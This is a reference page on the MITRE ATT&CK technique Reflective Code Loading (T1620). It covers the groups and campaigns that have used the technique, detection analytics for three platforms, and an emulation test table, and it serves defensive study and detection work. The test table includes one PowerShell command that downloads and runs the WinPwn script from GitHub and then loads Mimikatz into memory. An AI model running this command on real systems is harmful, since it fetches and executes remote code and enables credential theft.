tfMITRE ATT&CK technique

Reflective Code Loading T1620

Tactic: Stealth
Platforms: Linux, macOS, Windows
Version: 2.0
Created: 05 October 2021
Last modified: 12 May 2026
Contributors: João Paulo de A. Filho, @Hug1nN__; Shlomi Salem, SentinelOne; Lior Ribak, SentinelOne; Rex Guo, @Xiaofei_REX, Confluera; Joas Antonio dos Santos, @C0d3Cr4zy, Inmetrics; Jiraput Thamsongkrah

Adversaries may reflectively load code into a process in order to conceal the execution of malicious payloads. Reflective loading involves allocating then executing payloads directly within the memory of the process, vice creating a thread or process backed by a file path on disk (e.g., Shared Modules).

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groups70th pct

Threat groups70th percentile · 70% of ATT&CK techniques have this many threat groups attributed or fewer.

CampaignsTop 17%

Campaigns83rd percentile · 83% of ATT&CK techniques have this many campaigns recorded or fewer.

Tools & malwareTop 13%

Tools & malware87th percentile · 87% of ATT&CK techniques have this many tools implementing them or fewer.

Detection rules64th pct

Detection rules64th percentile · 64% of ATT&CK techniques have this many detection rules written or fewer.

Reflective Code Loading MITRE reference T1620

70th pctamong all ATT&CK techniques for number of groups

4 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.

KimsukyG0094 ↗

Has used the Invoke-Mimikatz PowerShell script to reflectively load a Mimikatz credential stealing DLL into memory.1 Kimsuky has also used reflective loading through .NET assembly using [System.Reflection.Assembly]::Load.2

created 2019-08-262 referencesaka Black Banshee

Gamaredon GroupG0047 ↗

Has used an obfuscated PowerShell script that used System.Reflection.Assembly to gather and send victim information to the C2.1

created 2017-05-311 referenceaka IRON TILDEN

FIN7G0046 ↗

Has loaded a .NET assembly into the currect execution context via Reflection.Assembly::Load.1

created 2017-05-311 referenceaka GOLD NIAGARA

Lazarus GroupG0032 ↗

Has changed memory protection permissions then overwritten in memory DLL function code with shellcode, which was later executed via KernelCallbackTable hijacking. Lazarus Group has also used shellcode within macros to decrypt and manually map DLLs into memory at runtime.1 2

created 2017-05-312 referencesaka Labyrinth Chollima

All 4 groups for this technique

2 campaigns have been recorded using this technique. Listed newest first; dates are year-granularity and attribution is MITRE’s.

SharePoint ToolShell ExploitationC0058 ↗

During SharePoint ToolShell Exploitation, threat actors reflectively loaded payloads using System.Reflection.Assembly.Load.1 2 3 4 5

2025

3CX Supply Chain AttackC0057 ↗

During the 3CX Supply Chain Attack, AppleJeus leverages the publicly available open-source project DAVESHELL to convert PE-COFF files to position-independent code to reflectively load the payload into memory.1 2

2022–2023

All 2 campaigns for this technique

Offense vs defense T1620

Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.

How it got here

Range

Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.

Campaigns · 2Sigma rules (cumulative) · 3Splunk ESCU (cumulative) · 2

first rule: 2020 Q4 · 2 of 2 campaigns plotted

Reflective Code Loading detection strategy DET0300

MITRE names one behaviour worth catching for this technique and breaks it into 3 analytics, one per platform. Each carries the log sources it needs and the fields you tune per environment.

Detection Strategy for Reflective Code Loading

Enterprise

3 platforms

AN0838 · Windows

Detect anomalous chains of memory allocation and execution inside the same process (e.g., VirtualAlloc → memcpy → VirtualProtect → CreateThread). Unlike process injection, reflective code loading does not perform cross-process memory writes — the suspicious activity occurs entirely within the process’s own PID context.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Module LoadDC0016	WinEventLog:Sysmon	EventCode=7
OS API ExecutionDC0021	etw:Microsoft-Windows-DotNETRuntime	AssemblyLoad/ModuleLoad (Loader keyword) from Microsoft-Windows-DotNETRuntime
Script ExecutionDC0029	etw:Microsoft-Antimalware-Scan-Interface	Amsi/Script content + API verdicts during in-memory staging
Process CreationDC0032	WinEventLog:Sysmon	EventCode=1
Process AccessDC0035	WinEventLog:Sysmon	EventCode=10

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
ParentProcessWhitelist	Certain processes may legitimately use Assembly.Load(); defenders may whitelist known developer/admin tools.
MemoryRegionPermissions	Detection logic can tune for RWX memory allocations; some legitimate tools may allocate with RW permissions only.

AN0839 · Linux

Monitor for in-process mmap + mprotect + execve/execveat activity where memory permissions are changed from writable to executable inside the same process without a corresponding ELF on disk.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
OS API ExecutionDC0021	auditd:MMAP	memory region with RWX permissions allocated
Process CreationDC0032	auditd:SYSCALL	execve

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
ProcessNameScope	Uncommon for service binaries to call memfd_create; detection tuned for high-risk processes.
RWXMemoryThreshold	Adjust threshold for allowed RWX allocations to reduce false positives in JIT runtimes.

AN0840 · macOS

Suspicious calls to dlopen(), dlsym(), or mmap with RWX flags in processes that do not typically perform dynamic module loading. Monitor anonymous memory regions executed by user processes.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Module LoadDC0016	macos:unifiedlog	suspicious dlopen/dlsym usage in non-development processes
Process CreationDC0032	macos:unifiedlog	execve or dylib load from memory without backing file

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
ApplicationScope	Developer tools may legitimately call dlopen/dlsym; narrow scope to production workloads.
ExecutionTimeWindow	Correlate suspicious loads with subsequent process activity in a defined window.

Tests1ExecutorsPowerShell 1Need elevation0 of 1Have prerequisites0Have cleanup0Platformswindows

#	Test	Platform	Executor	Elevation	Prereqs	Cleanup	Ref
01	WinPwn - Reflectively load Mimik@tz into memory	windows	PowerShell	—	—	—
Reflectively load Mimik@tz into memory technique via function of WinPwn Attack command iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') mimiload -consoleoutput -noninteractive GUID741db13f-d168-465f-b22f-7fd826b750d5

Tests from Atomic Red Team (MIT licence) · technique definition

Reflective Code Loading detections T1620

5 rules are mapped to this technique. Parent techniques also include their sub-techniques’ rules. Click a slice or key entry to filter the table.

64th pctamong all ATT&CK techniques for number of rules

Product

Severity

Library

Drag headers to reorder | Drag edges to resize

Loading detections...

Select	Title	Description	Category	Status	Event	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID	Refs